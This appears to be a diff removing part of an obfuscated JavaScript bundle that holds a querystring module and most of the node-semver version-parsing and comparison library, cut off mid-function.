- function _0x4f63a5(_0x41469a, _0x22f694) {
- if (_0x41469a.map) {
- return _0x41469a.map(_0x22f694);
- }
- for (var _0x2cabd3 = [], _0x13f6a7 = 0; _0x13f6a7 < _0x41469a.length; _0x13f6a7++) {
- _0x2cabd3.push(_0x22f694(_0x41469a[_0x13f6a7], _0x13f6a7));
- }
- return _0x2cabd3;
- }
- var _0x4fdd02 = Object.keys || function (_0x491b47) {
- var _0x1281a3 = [];
- for (var _0x32d9d7 in _0x491b47) Object.prototype.hasOwnProperty.call(_0x491b47, _0x32d9d7) && _0x1281a3.push(_0x32d9d7);
- return _0x1281a3;
- };
- },
- 7735: (_0x202fb0, _0x1e7192, _0x3558bc) => {
- "use strict";
-
- _0x1e7192.decode = _0x1e7192.parse = _0x3558bc(9335);
- _0x1e7192.encode = _0x1e7192.stringify = _0x3558bc(8795);
- },
- 6625: (_0x93f925, _0x171e32) => {
- var _0x339b3f;
- _0x171e32 = _0x93f925.exports = _0x2140cd;
- _0x339b3f = "object" == typeof process && process.env && process.env.NODE_DEBUG && /\bsemver\b/i.test(process.env.NODE_DEBUG) ? function () {
- var _0x14da2a = Array.prototype.slice.call(arguments, 0);
- _0x14da2a.unshift("SEMVER");
- console.log.apply(console, _0x14da2a);
- } : function () {};
- _0x171e32.SEMVER_SPEC_VERSION = "2.0.0";
- var _0x4a3332 = 256;
- var _0x2fa81c = Number.MAX_SAFE_INTEGER || 9007199254740991;
- var _0xa1a4d2 = _0x4a3332 - 6;
- _0x171e32.re = [];
- var _0x11e21c = _0x171e32.re;
- _0x171e32.safeRe = [];
- var _0x10e696 = _0x171e32.safeRe;
- _0x171e32.src = [];
- var _0x27b32c = _0x171e32.src;
- var _0x16cd0e = 0;
- var _0x17f803 = "[a-zA-Z0-9-]";
- var _0x235e0b = [["\\s", 1], ["\\d", _0x4a3332], [_0x17f803, _0xa1a4d2]];
- function _0x300383(_0x19a9d3) {
- for (var _0x42b300 = 0; _0x42b300 < _0x235e0b.length; _0x42b300++) {
- var _0x204f44 = _0x235e0b[_0x42b300][0];
- var _0x209479 = _0x235e0b[_0x42b300][1];
- _0x19a9d3 = _0x19a9d3.split(_0x204f44 + "*").join(_0x204f44 + "{0," + _0x209479 + "}").split(_0x204f44 + "+").join(_0x204f44 + "{1," + _0x209479 + "}");
- }
- return _0x19a9d3;
- }
- var _0x2ee016 = _0x16cd0e++;
- _0x27b32c[_0x2ee016] = "0|[1-9]\\d*";
- var _0x3abf1d = _0x16cd0e++;
- _0x27b32c[_0x3abf1d] = "\\d+";
- var _0x5430d0 = _0x16cd0e++;
- _0x27b32c[_0x5430d0] = "\\d*[a-zA-Z-]" + _0x17f803 + "*";
- var _0x2f395e = _0x16cd0e++;
- _0x27b32c[_0x2f395e] = "(" + _0x27b32c[_0x2ee016] + ")\\.(" + _0x27b32c[_0x2ee016] + ")\\.(" + _0x27b32c[_0x2ee016] + ")";
- var _0x146546 = _0x16cd0e++;
- _0x27b32c[_0x146546] = "(" + _0x27b32c[_0x3abf1d] + ")\\.(" + _0x27b32c[_0x3abf1d] + ")\\.(" + _0x27b32c[_0x3abf1d] + ")";
- var _0x2b3982 = _0x16cd0e++;
- _0x27b32c[_0x2b3982] = "(?:" + _0x27b32c[_0x2ee016] + "|" + _0x27b32c[_0x5430d0] + ")";
- var _0x4abe9f = _0x16cd0e++;
- _0x27b32c[_0x4abe9f] = "(?:" + _0x27b32c[_0x3abf1d] + "|" + _0x27b32c[_0x5430d0] + ")";
- var _0x2ec762 = _0x16cd0e++;
- _0x27b32c[_0x2ec762] = "(?:-(" + _0x27b32c[_0x2b3982] + "(?:\\." + _0x27b32c[_0x2b3982] + ")*))";
- var _0x3a6169 = _0x16cd0e++;
- _0x27b32c[_0x3a6169] = "(?:-?(" + _0x27b32c[_0x4abe9f] + "(?:\\." + _0x27b32c[_0x4abe9f] + ")*))";
- var _0x109688 = _0x16cd0e++;
- _0x27b32c[_0x109688] = _0x17f803 + "+";
- var _0x6c853c = _0x16cd0e++;
- _0x27b32c[_0x6c853c] = "(?:\\+(" + _0x27b32c[_0x109688] + "(?:\\." + _0x27b32c[_0x109688] + ")*))";
- var _0x5bd0b3 = _0x16cd0e++;
- var _0x356296 = "v?" + _0x27b32c[_0x2f395e] + _0x27b32c[_0x2ec762] + "?" + _0x27b32c[_0x6c853c] + "?";
- _0x27b32c[_0x5bd0b3] = "^" + _0x356296 + "$";
- var _0x3f2620 = "[v=\\s]*" + _0x27b32c[_0x146546] + _0x27b32c[_0x3a6169] + "?" + _0x27b32c[_0x6c853c] + "?";
- var _0x79fc6a = _0x16cd0e++;
- _0x27b32c[_0x79fc6a] = "^" + _0x3f2620 + "$";
- var _0x2ea654 = _0x16cd0e++;
- _0x27b32c[_0x2ea654] = "((?:<|>)?=?)";
- var _0x552393 = _0x16cd0e++;
- _0x27b32c[_0x552393] = _0x27b32c[_0x3abf1d] + "|x|X|\\*";
- var _0x4ab94f = _0x16cd0e++;
- _0x27b32c[_0x4ab94f] = _0x27b32c[_0x2ee016] + "|x|X|\\*";
- var _0x464b80 = _0x16cd0e++;
- _0x27b32c[_0x464b80] = "[v=\\s]*(" + _0x27b32c[_0x4ab94f] + ")(?:\\.(" + _0x27b32c[_0x4ab94f] + ")(?:\\.(" + _0x27b32c[_0x4ab94f] + ")(?:" + _0x27b32c[_0x2ec762] + ")?" + _0x27b32c[_0x6c853c] + "?)?)?";
- var _0xf85ee6 = _0x16cd0e++;
- _0x27b32c[_0xf85ee6] = "[v=\\s]*(" + _0x27b32c[_0x552393] + ")(?:\\.(" + _0x27b32c[_0x552393] + ")(?:\\.(" + _0x27b32c[_0x552393] + ")(?:" + _0x27b32c[_0x3a6169] + ")?" + _0x27b32c[_0x6c853c] + "?)?)?";
- var _0x12cb6d = _0x16cd0e++;
- _0x27b32c[_0x12cb6d] = "^" + _0x27b32c[_0x2ea654] + "\\s*" + _0x27b32c[_0x464b80] + "$";
- var _0x15a153 = _0x16cd0e++;
- _0x27b32c[_0x15a153] = "^" + _0x27b32c[_0x2ea654] + "\\s*" + _0x27b32c[_0xf85ee6] + "$";
- var _0x2865af = _0x16cd0e++;
- _0x27b32c[_0x2865af] = "(?:^|[^\\d])(\\d{1,16})(?:\\.(\\d{1,16}))?(?:\\.(\\d{1,16}))?(?:$|[^\\d])";
- var _0x449be0 = _0x16cd0e++;
- _0x27b32c[_0x449be0] = "(?:~>?)";
- var _0x9e280f = _0x16cd0e++;
- _0x27b32c[_0x9e280f] = "(\\s*)" + _0x27b32c[_0x449be0] + "\\s+";
- _0x11e21c[_0x9e280f] = new RegExp(_0x27b32c[_0x9e280f], "g");
- _0x10e696[_0x9e280f] = new RegExp(_0x300383(_0x27b32c[_0x9e280f]), "g");
- var _0xf480a1 = _0x16cd0e++;
- _0x27b32c[_0xf480a1] = "^" + _0x27b32c[_0x449be0] + _0x27b32c[_0x464b80] + "$";
- var _0x50476e = _0x16cd0e++;
- _0x27b32c[_0x50476e] = "^" + _0x27b32c[_0x449be0] + _0x27b32c[_0xf85ee6] + "$";
- var _0x2084b8 = _0x16cd0e++;
- _0x27b32c[_0x2084b8] = "(?:\\^)";
- var _0x5ac2e0 = _0x16cd0e++;
- _0x27b32c[_0x5ac2e0] = "(\\s*)" + _0x27b32c[_0x2084b8] + "\\s+";
- _0x11e21c[_0x5ac2e0] = new RegExp(_0x27b32c[_0x5ac2e0], "g");
- _0x10e696[_0x5ac2e0] = new RegExp(_0x300383(_0x27b32c[_0x5ac2e0]), "g");
- var _0x1d0c74 = _0x16cd0e++;
- _0x27b32c[_0x1d0c74] = "^" + _0x27b32c[_0x2084b8] + _0x27b32c[_0x464b80] + "$";
- var _0x377075 = _0x16cd0e++;
- _0x27b32c[_0x377075] = "^" + _0x27b32c[_0x2084b8] + _0x27b32c[_0xf85ee6] + "$";
- var _0x598c51 = _0x16cd0e++;
- _0x27b32c[_0x598c51] = "^" + _0x27b32c[_0x2ea654] + "\\s*(" + _0x3f2620 + ")$|^$";
- var _0x3d680e = _0x16cd0e++;
- _0x27b32c[_0x3d680e] = "^" + _0x27b32c[_0x2ea654] + "\\s*(" + _0x356296 + ")$|^$";
- var _0x35b07b = _0x16cd0e++;
- _0x27b32c[_0x35b07b] = "(\\s*)" + _0x27b32c[_0x2ea654] + "\\s*(" + _0x3f2620 + "|" + _0x27b32c[_0x464b80] + ")";
- _0x11e21c[_0x35b07b] = new RegExp(_0x27b32c[_0x35b07b], "g");
- _0x10e696[_0x35b07b] = new RegExp(_0x300383(_0x27b32c[_0x35b07b]), "g");
- var _0x430fb0 = _0x16cd0e++;
- _0x27b32c[_0x430fb0] = "^\\s*(" + _0x27b32c[_0x464b80] + ")\\s+-\\s+(" + _0x27b32c[_0x464b80] + ")\\s*$";
- var _0x51425e = _0x16cd0e++;
- _0x27b32c[_0x51425e] = "^\\s*(" + _0x27b32c[_0xf85ee6] + ")\\s+-\\s+(" + _0x27b32c[_0xf85ee6] + ")\\s*$";
- var _0x2117c5 = _0x16cd0e++;
- _0x27b32c[_0x2117c5] = "(<|>)?=?\\s*\\*";
- for (var _0x4a7f9e = 0; _0x4a7f9e < 35; _0x4a7f9e++) {
- _0x339b3f(_0x4a7f9e, _0x27b32c[_0x4a7f9e]);
- _0x11e21c[_0x4a7f9e] || (_0x11e21c[_0x4a7f9e] = new RegExp(_0x27b32c[_0x4a7f9e]), _0x10e696[_0x4a7f9e] = new RegExp(_0x300383(_0x27b32c[_0x4a7f9e])));
- }
- function _0x5b00ee(_0x2d46cd, _0x3487b8) {
- if (_0x3487b8 && "object" == typeof _0x3487b8 || (_0x3487b8 = {
- loose: !!_0x3487b8,
- includePrerelease: false
- }), _0x2d46cd instanceof _0x2140cd) {
- return _0x2d46cd;
- }
- if ("string" != typeof _0x2d46cd) {
- return null;
- }
- if (_0x2d46cd.length > _0x4a3332) {
- return null;
- }
- if (!(_0x3487b8.loose ? _0x10e696[_0x79fc6a] : _0x10e696[_0x5bd0b3]).test(_0x2d46cd)) {
- return null;
- }
- try {
- return new _0x2140cd(_0x2d46cd, _0x3487b8);
- } catch (_0x34639b) {
- return null;
- }
- }
- function _0x2140cd(_0x42b8e3, _0x606b05) {
- if (_0x606b05 && "object" == typeof _0x606b05 || (_0x606b05 = {
- loose: !!_0x606b05,
- includePrerelease: false
- }), _0x42b8e3 instanceof _0x2140cd) {
- if (_0x42b8e3.loose === _0x606b05.loose) {
- return _0x42b8e3;
- }
- _0x42b8e3 = _0x42b8e3.version;
- } else {
- if ("string" != typeof _0x42b8e3) {
- throw new TypeError("Invalid Version: " + _0x42b8e3);
- }
- }
- if (_0x42b8e3.length > _0x4a3332) {
- throw new TypeError("version is longer than " + _0x4a3332 + " characters");
- }
- if (!(this instanceof _0x2140cd)) {
- return new _0x2140cd(_0x42b8e3, _0x606b05);
- }
- _0x339b3f("SemVer", _0x42b8e3, _0x606b05);
- this.options = _0x606b05;
- this.loose = !!_0x606b05.loose;
- var _0x1cdb5e = _0x42b8e3.trim().match(_0x606b05.loose ? _0x10e696[_0x79fc6a] : _0x10e696[_0x5bd0b3]);
- if (!_0x1cdb5e) {
- throw new TypeError("Invalid Version: " + _0x42b8e3);
- }
- if (this.raw = _0x42b8e3, this.major = +_0x1cdb5e[1], this.minor = +_0x1cdb5e[2], this.patch = +_0x1cdb5e[3], this.major > _0x2fa81c || this.major < 0) {
- throw new TypeError("Invalid major version");
- }
- if (this.minor > _0x2fa81c || this.minor < 0) {
- throw new TypeError("Invalid minor version");
- }
- if (this.patch > _0x2fa81c || this.patch < 0) {
- throw new TypeError("Invalid patch version");
- }
- _0x1cdb5e[4] ? this.prerelease = _0x1cdb5e[4].split(".").map(function (_0x45f26b) {
- if (/^[0-9]+$/.test(_0x45f26b)) {
- var _0x5b6444 = +_0x45f26b;
- if (_0x5b6444 >= 0 && _0x5b6444 < _0x2fa81c) {
- return _0x5b6444;
- }
- }
- return _0x45f26b;
- }) : this.prerelease = [];
- this.build = _0x1cdb5e[5] ? _0x1cdb5e[5].split(".") : [];
- this.format();
- }
- _0x171e32.parse = _0x5b00ee;
- _0x171e32.valid = function (_0x2d17df, _0xfb888a) {
- var _0xd9008e = _0x5b00ee(_0x2d17df, _0xfb888a);
- return _0xd9008e ? _0xd9008e.version : null;
- };
- _0x171e32.clean = function (_0x508c3c, _0x280a4d) {
- var _0x5d49d5 = _0x5b00ee(_0x508c3c.trim().replace(/^[=v]+/, ""), _0x280a4d);
- return _0x5d49d5 ? _0x5d49d5.version : null;
- };
- _0x171e32.SemVer = _0x2140cd;
- _0x2140cd.prototype.format = function () {
- this.version = this.major + "." + this.minor + "." + this.patch;
- this.prerelease.length && (this.version += "-" + this.prerelease.join("."));
- return this.version;
- };
- _0x2140cd.prototype.toString = function () {
- return this.version;
- };
- _0x2140cd.prototype.compare = function (_0xa5d36) {
- _0x339b3f("SemVer.compare", this.version, this.options, _0xa5d36);
- _0xa5d36 instanceof _0x2140cd || (_0xa5d36 = new _0x2140cd(_0xa5d36, this.options));
- return this.compareMain(_0xa5d36) || this.comparePre(_0xa5d36);
- };
- _0x2140cd.prototype.compareMain = function (_0x4dd912) {
- _0x4dd912 instanceof _0x2140cd || (_0x4dd912 = new _0x2140cd(_0x4dd912, this.options));
- return _0xa3b5a5(this.major, _0x4dd912.major) || _0xa3b5a5(this.minor, _0x4dd912.minor) || _0xa3b5a5(this.patch, _0x4dd912.patch);
- };
- _0x2140cd.prototype.comparePre = function (_0x567d6d) {
- if (_0x567d6d instanceof _0x2140cd || (_0x567d6d = new _0x2140cd(_0x567d6d, this.options)), this.prerelease.length && !_0x567d6d.prerelease.length) {
- return -1;
- }
- if (!this.prerelease.length && _0x567d6d.prerelease.length) {
- return 1;
- }
- if (!this.prerelease.length && !_0x567d6d.prerelease.length) {
- return 0;
- }
- var _0x1bc602 = 0;
- do {
- var _0x3e1ea0 = this.prerelease[_0x1bc602];
- var _0x4ee6f8 = _0x567d6d.prerelease[_0x1bc602];
- if (_0x339b3f("prerelease compare", _0x1bc602, _0x3e1ea0, _0x4ee6f8), undefined === _0x3e1ea0 && undefined === _0x4ee6f8) {
- return 0;
- }
- if (undefined === _0x4ee6f8) {
- return 1;
- }
- if (undefined === _0x3e1ea0) {
- return -1;
- }
- if (_0x3e1ea0 !== _0x4ee6f8) {
- return _0xa3b5a5(_0x3e1ea0, _0x4ee6f8);
- }
- } while (++_0x1bc602);
- };
- _0x2140cd.prototype.inc = function (_0x3fede7, _0x142806) {
- switch (_0x3fede7) {
- case "premajor":
- this.prerelease.length = 0;
- this.patch = 0;
- this.minor = 0;
- this.major++;
- this.inc("pre", _0x142806);
- break;
- case "preminor":
- this.prerelease.length = 0;
- this.patch = 0;
- this.minor++;
- this.inc("pre", _0x142806);
- break;
- case "prepatch":
- this.prerelease.length = 0;
- this.inc("patch", _0x142806);
- this.inc("pre", _0x142806);
- break;
- case "prerelease":
- 0 === this.prerelease.length && this.inc("patch", _0x142806);
- this.inc("pre", _0x142806);
- break;
- case "major":
- 0 === this.minor && 0 === this.patch && 0 !== this.prerelease.length || this.major++;
- this.minor = 0;
- this.patch = 0;
- this.prerelease = [];
- break;
- case "minor":
- 0 === this.patch && 0 !== this.prerelease.length || this.minor++;
- this.patch = 0;
- this.prerelease = [];
- break;
- case "patch":
- 0 === this.prerelease.length && this.patch++;
- this.prerelease = [];
- break;
- case "pre":
- if (0 === this.prerelease.length) {
- this.prerelease = [0];
- } else {
- for (var _0x42d305 = this.prerelease.length; --_0x42d305 >= 0;) {
- "number" == typeof this.prerelease[_0x42d305] && (this.prerelease[_0x42d305]++, _0x42d305 = -2);
- }
- -1 === _0x42d305 && this.prerelease.push(0);
- }
- _0x142806 && (this.prerelease[0] === _0x142806 ? isNaN(this.prerelease[1]) && (this.prerelease = [_0x142806, 0]) : this.prerelease = [_0x142806, 0]);
- break;
- default:
- throw new Error("invalid increment argument: " + _0x3fede7);
- }
- this.format();
- this.raw = this.version;
- return this;
- };
- _0x171e32.inc = function (_0x22e9df, _0xac0a28, _0x5558fe, _0x14bb01) {
- "string" == typeof _0x5558fe && (_0x14bb01 = _0x5558fe, _0x5558fe = undefined);
- try {
- return new _0x2140cd(_0x22e9df, _0x5558fe).inc(_0xac0a28, _0x14bb01).version;
- } catch (_0x48e332) {
- return null;
- }
- };
- _0x171e32.diff = function (_0xc7304d, _0x328d65) {
- if (_0x440fb7(_0xc7304d, _0x328d65)) {
- return null;
- }
- var _0x3acef4 = _0x5b00ee(_0xc7304d);
- var _0x1e612d = _0x5b00ee(_0x328d65);
- var _0x4fea67 = "";
- if (_0x3acef4.prerelease.length || _0x1e612d.prerelease.length) {
- _0x4fea67 = "pre";
- var _0x380fbc = "prerelease";
- }
- for (var _0x1a6695 in _0x3acef4) if (("major" === _0x1a6695 || "minor" === _0x1a6695 || "patch" === _0x1a6695) && _0x3acef4[_0x1a6695] !== _0x1e612d[_0x1a6695]) {
- return _0x4fea67 + _0x1a6695;
- }
- return _0x380fbc;
- };
- _0x171e32.compareIdentifiers = _0xa3b5a5;
- var _0x38d7b9 = /^[0-9]+$/;
- function _0xa3b5a5(_0x410ae0, _0x3bf03c) {
- var _0x23a622 = _0x38d7b9.test(_0x410ae0);
- var _0x7450a8 = _0x38d7b9.test(_0x3bf03c);
- _0x23a622 && _0x7450a8 && (_0x410ae0 = +_0x410ae0, _0x3bf03c = +_0x3bf03c);
- return _0x410ae0 === _0x3bf03c ? 0 : _0x23a622 && !_0x7450a8 ? -1 : _0x7450a8 && !_0x23a622 ? 1 : _0x410ae0 < _0x3bf03c ? -1 : 1;
- }
- function _0x278872(_0x3b490f, _0x16da2f, _0x251ccf) {
- return new _0x2140cd(_0x3b490f, _0x251ccf).compare(new _0x2140cd(_0x16da2f, _0x251ccf));
- }
- function _0x2d9ede(_0x5888ad, _0xfd7e1b, _0x37485d) {
- return _0x278872(_0x5888ad, _0xfd7e1b, _0x37485d) > 0;
- }
- function _0x35292e(_0x26671f, _0x1097df, _0x3707be) {
- return _0x278872(_0x26671f, _0x1097df, _0x3707be) < 0;
- }
- function _0x440fb7(_0xb22205, _0x5f370f, _0x3442f3) {
- return 0 === _0x278872(_0xb22205, _0x5f370f, _0x3442f3);
- }
- function _0xc01257(_0x2f45a3, _0x51dada, _0x45ce26) {
- return 0 !== _0x278872(_0x2f45a3, _0x51dada, _0x45ce26);
- }
- function _0x18348f(_0x376767, _0x251b66, _0x2bed29) {
- return _0x278872(_0x376767, _0x251b66, _0x2bed29) >= 0;
- }
- function _0x5ad2fb(_0x24ed5b, _0x4a7356, _0x54d619) {
- return _0x278872(_0x24ed5b, _0x4a7356, _0x54d619) <= 0;
- }
- function _0x4d3366(_0xc173dd, _0x386c1f, _0x73470c, _0x23b809) {
- switch (_0x386c1f) {
- case "===":
- "object" == typeof _0xc173dd && (_0xc173dd = _0xc173dd.version);
- "object" == typeof _0x73470c && (_0x73470c = _0x73470c.version);
- return _0xc173dd === _0x73470c;
- case "!==":
- "object" == typeof _0xc173dd && (_0xc173dd = _0xc173dd.version);
- "object" == typeof _0x73470c && (_0x73470c = _0x73470c.version);
- return _0xc173dd !== _0x73470c;
- case "":
- case "=":
- case "==":
- return _0x440fb7(_0xc173dd, _0x73470c, _0x23b809);
- case "!=":
- return _0xc01257(_0xc173dd, _0x73470c, _0x23b809);
- case ">":
- return _0x2d9ede(_0xc173dd, _0x73470c, _0x23b809);
- case ">=":
- return _0x18348f(_0xc173dd, _0x73470c, _0x23b809);
- case "<":
- return _0x35292e(_0xc173dd, _0x73470c, _0x23b809);
- case "<=":
- return _0x5ad2fb(_0xc173dd, _0x73470c, _0x23b809);
- default:
- throw new TypeError("Invalid operator: " + _0x386c1f);
- }
- }
- function _0x32183c(_0x37e112, _0x4ac48e) {
- if (_0x4ac48e && "object" == typeof _0x4ac48e || (_0x4ac48e = {
- loose: !!_0x4ac48e,
- includePrerelease: false
- }), _0x37e112 instanceof _0x32183c) {
- if (_0x37e112.loose === !!_0x4ac48e.loose) {
- return _0x37e112;
- }
- _0x37e112 = _0x37e112.value;
- }
- if (!(this instanceof _0x32183c)) {
- return new _0x32183c(_0x37e112, _0x4ac48e);
- }
- _0x37e112 = _0x37e112.trim().split(/\s+/).join(" ");
- _0x339b3f("comparator", _0x37e112, _0x4ac48e);
- this.options = _0x4ac48e;
- this.loose = !!_0x4ac48e.loose;
- this.parse(_0x37e112);
- this.semver === _0x142d15 ? this.value = "" : this.value = this.operator + this.semver.version;
- _0x339b3f("comp", this);
- }
- _0x171e32.rcompareIdentifiers = function (_0x20e05c, _0x4c9a81) {
- return _0xa3b5a5(_0x4c9a81, _0x20e05c);
- };
- _0x171e32.major = function (_0x189c7e, _0xb909cc) {
- return new _0x2140cd(_0x189c7e, _0xb909cc).major;
- };
- _0x171e32.minor = function (_0x41869e, _0x3faf2b) {
- return new _0x2140cd(_0x41869e, _0x3faf2b).minor;
- };
- _0x171e32.patch = function (_0x38df30, _0x562cf4) {
- return new _0x2140cd(_0x38df30, _0x562cf4).patch;
- };
- _0x171e32.compare = _0x278872;
- _0x171e32.compareLoose = function (_0x44ac50, _0x54567a) {
- return _0x278872(_0x44ac50, _0x54567a, true);
- };
- _0x171e32.rcompare = function (_0x2672cd, _0x20182c, _0x55e24b) {
- return _0x278872(_0x20182c, _0x2672cd, _0x55e24b);
- };
- _0x171e32.sort = function (_0x57b1ff, _0x1514a9) {
- return _0x57b1ff.sort(function (_0xbb1947, _0x3014f7) {
- return _0x171e32.compare(_0xbb1947, _0x3014f7, _0x1514a9);
- });
- };
- _0x171e32.rsort = function (_0x465d14, _0x218686) {
- return _0x465d14.sort(function (_0x38c999, _0x1a8a33) {
- return _0x171e32.rcompare(_0x38c999, _0x1a8a33, _0x218686);
- });
- };
- _0x171e32.gt = _0x2d9ede;
- _0x171e32.lt = _0x35292e;
- _0x171e32.eq = _0x440fb7;
- _0x171e32.neq = _0xc01257;
- _0x171e32.gte = _0x18348f;
- _0x171e32.lte = _0x5ad2fb;
- _0x171e32.cmp = _0x4d3366;
- _0x171e32.Comparator = _0x32183c;
- var _0x142d15 = {};
- function _0x2ade90(_0xde3927, _0x10e5e9) {
- if (_0x10e5e9 && "object" == typeof _0x10e5e9 || (_0x10e5e9 = {
- loose: !!_0x10e5e9,
- includePrerelease: false
- }), _0xde3927 instanceof _0x2ade90) {
- return _0xde3927.loose === !!_0x10e5e9.loose && _0xde3927.includePrerelease === !!_0x10e5e9.includePrerelease ? _0xde3927 : new _0x2ade90(_0xde3927.raw, _0x10e5e9);
- }
- if (_0xde3927 instanceof _0x32183c) {
- return new _0x2ade90(_0xde3927.value, _0x10e5e9);
- }
- if (!(this instanceof _0x2ade90)) {
- return new _0x2ade90(_0xde3927, _0x10e5e9);
- }
- if (this.options = _0x10e5e9, this.loose = !!_0x10e5e9.loose, this.includePrerelease = !!_0x10e5e9.includePrerelease, this.raw = _0xde3927.trim().split(/\s+/).join(" "), this.set = this.raw.split("||").map(function (_0x90718b) {
- return this.parseRange(_0x90718b.trim());
- }, this).filter(function (_0x384ab8) {
- return _0x384ab8.length;
- }), !this.set.length) {
- throw new TypeError("Invalid SemVer Range: " + this.raw);
- }
- this.format();
- }
- function _0x19cc2d(_0x25b8ea) {
- return !_0x25b8ea || "x" === _0x25b8ea.toLowerCase() || "*" === _0x25b8ea;
- }
- function _0x173ac4(_0x311de2, _0x43ee3a, _0x5cddd7, _0x2af6fb, _0x510c2f, _0x1da418, _0x2bc72c, _0x574cc0, _0x3621b2, _0x219263, _0x5e386c, _0x4a1371, _0x54b0c7) {
- return ((_0x43ee3a = _0x19cc2d(_0x5cddd7) ? "" : _0x19cc2d(_0x2af6fb) ? ">=" + _0x5cddd7 + ".0.0" : _0x19cc2d(_0x510c2f) ? ">=" + _0x5cddd7 + "." + _0x2af6fb + ".0" : ">=" + _0x43ee3a) + " " + (_0x574cc0 = _0x19cc2d(_0x3621b2) ? "" : _0x19cc2d(_0x219263) ? "<" + (+_0x3621b2 + 1) + ".0.0" : _0x19cc2d(_0x5e386c) ? "<" + _0x3621b2 + "." + (+_0x219263 + 1) + ".0" : _0x4a1371 ? "<=" + _0x3621b2 + "." + _0x219263 + "." + _0x5e386c + "-" + _0x4a1371 : "<=" + _0x574cc0)).trim();
- }
- function _0x10df91(_0x399a45, _0x2756b3, _0x44f812) {
- for (var _0x184aeb = 0; _0x184aeb < _0x399a45.length; _0x184aeb++) {
- if (!_0x399a45[_0x184aeb].test(_0x2756b3)) {
- return false;
- }
- }
- if (_0x2756b3.prerelease.length && !_0x44f812.includePrerelease) {
- for (_0x184aeb = 0; _0x184aeb < _0x399a45.length; _0x184aeb++) {
- if (_0x339b3f(_0x399a45[_0x184aeb].semver), _0x399a45[_0x184aeb].semver !== _0x142d15 && _0x399a45[_0x184aeb].semver.prerelease.length > 0) {
- var _0x344c39 = _0x399a45[_0x184aeb].semver;
- if (_0x344c39.major === _0x2756b3.major && _0x344c39.minor === _0x2756b3.minor && _0x344c39.patch === _0x2756b3.patch) {
- return true;
- }
- }
- }
- return false;
- }
- return true;
- }
- function _0x27a02b(_0x63e81b, _0x54ba17, _0x2016a9) {
- try {
- _0x54ba17 = new _0x2ade90(_0x54ba17, _0x2016a9);
- } catch (_0x34d69a) {
- return false;
- }
- return _0x54ba17.test(_0x63e81b);
- }
- function _0x1c7ea4(_0x425ecc, _0x5c625c, _0x2b7206, _0x3347ec) {
- var _0x2a713c;
- var _0x1ced26;
- var _0x46ee0d;
- var _0x3d65ad;
- var _0x2be727;
- switch (_0x425ecc = new _0x2140cd(_0x425ecc, _0x3347ec), _0x5c625c = new _0x2ade90(_0x5c625c, _0x3347ec), _0x2b7206) {
- case ">":
- _0x2a713c = _0x2d9ede;
- _0x1ced26 = _0x5ad2fb;
- _0x46ee0d = _0x35292e;
- _0x3d65ad = ">";
- _0x2be727 = ">=";
- break;
- case "<":
- _0x2a713c = _0x35292e;
- _0x1ced26 = _0x18348f;
- _0x46ee0d = _0x2d9ede;
- _0x3d65ad = "<";
- _0x2be727 = "<=";
- break;
- default:
- throw new TypeError("Must provide a hilo val of \"<\" or \">\"");
- }
- if (_0x27a02b(_0x425ecc, _0x5c625c, _0x3347ec)) {
- return false;
- }
- for (var _0x3a6857 = 0; _0x3a6857 < _0x5c625c.set.length; ++_0x3a6857) {
- var _0x359d58 = _0x5c625c.set[_0x3a6857];
- var _0x4e6be4 = null;
- var _0x397e4c = null;
- if (_0x359d58.forEach(function (_0x36b258) {
- _0x36b258.semver === _0x142d15 && (_0x36b258 = new _0x32183c(">=0.0.0"));
- _0x4e6be4 = _0x4e6be4 || _0x36b258;
- _0x397e4c = _0x397e4c || _0x36b258;
- _0x2a713c(_0x36b258.semver, _0x4e6be4.semver, _0x3347ec) ? _0x4e6be4 = _0x36b258 : _0x46ee0d(_0x36b258.semver, _0x397e4c.semver, _0x3347ec) && (_0x397e4c = _0x36b258);
- }), _0x4e6be4.operator === _0x3d65ad || _0x4e6be4.operator === _0x2be727) {
- return false;
- }
- if ((!_0x397e4c.operator || _0x397e4c.operator === _0x3d65ad) && _0x1ced26(_0x425ecc, _0x397e4c.semver)) {
- return false;
- }
- if (_0x397e4c.operator === _0x2be727 && _0x46ee0d(_0x425ecc, _0x397e4c.semver)) {
- return false;
- }
- }
- return true;
- }
- _0x32183c.prototype.parse = function (_0x58486e) {
- var _0x30f888 = this.options.loose ? _0x10e696[_0x598c51] : _0x10e696[_0x3d680e];
- var _0x271cca = _0x58486e.match(_0x30f888);
- if (!_0x271cca) {
- throw new TypeError("Invalid comparator: " + _0x58486e);
- }
- this.operator = _0x271cca[1];
- "=" === this.operator && (this.operator = "");
- _0x271cca[2] ? this.semver = new _0x2140cd(_0x271cca[2], this.options.loose) : this.semver = _0x142d15;
- };
- _0x32183c.prototype.toString = function () {
- return this.value;
- };
- _0x32183c.prototype.test = function (_0x43e3d4) {
- _0x339b3f("Comparator.test", _0x43e3d4, this.options.loose);
- return this.semver === _0x142d15 || ("string" == typeof _0x43e3d4 && (_0x43e3d4 = new _0x2140cd(_0x43e3d4, this.options)), _0x4d3366(_0x43e3d4, this.operator, this.semver, this.options));
- };
- _0x32183c.prototype.intersects = function (_0x5ab4d4, _0x39dd57) {
- if (!(_0x5ab4d4 instanceof _0x32183c)) {
- throw new TypeError("a Comparator is required");
- }
- var _0x374099;
- if (_0x39dd57 && "object" == typeof _0x39dd57 || (_0x39dd57 = {
- loose: !!_0x39dd57,
- includePrerelease: false
- }), "" === this.operator) {
- _0x374099 = new _0x2ade90(_0x5ab4d4.value, _0x39dd57);
- return _0x27a02b(this.value, _0x374099, _0x39dd57);
- }
- if ("" === _0x5ab4d4.operator) {
- _0x374099 = new _0x2ade90(this.value, _0x39dd57);
- return _0x27a02b(_0x5ab4d4.semver, _0x374099, _0x39dd57);
- }
- var _0x2bee87 = !(">=" !== this.operator && ">" !== this.operator || ">=" !== _0x5ab4d4.operator && ">" !== _0x5ab4d4.operator);
- var _0x4580ac = !("<=" !== this.operator && "<" !== this.operator || "<=" !== _0x5ab4d4.operator && "<" !== _0x5ab4d4.operator);
- var _0x493848 = this.semver.version === _0x5ab4d4.semver.version;
- var _0x52f99d = !(">=" !== this.operator && "<=" !== this.operator || ">=" !== _0x5ab4d4.operator && "<=" !== _0x5ab4d4.operator);
- var _0x5ac74a = _0x4d3366(this.semver, "<", _0x5ab4d4.semver, _0x39dd57) && (">=" === this.operator || ">" === this.operator) && ("<=" === _0x5ab4d4.operator || "<" === _0x5ab4d4.operator);
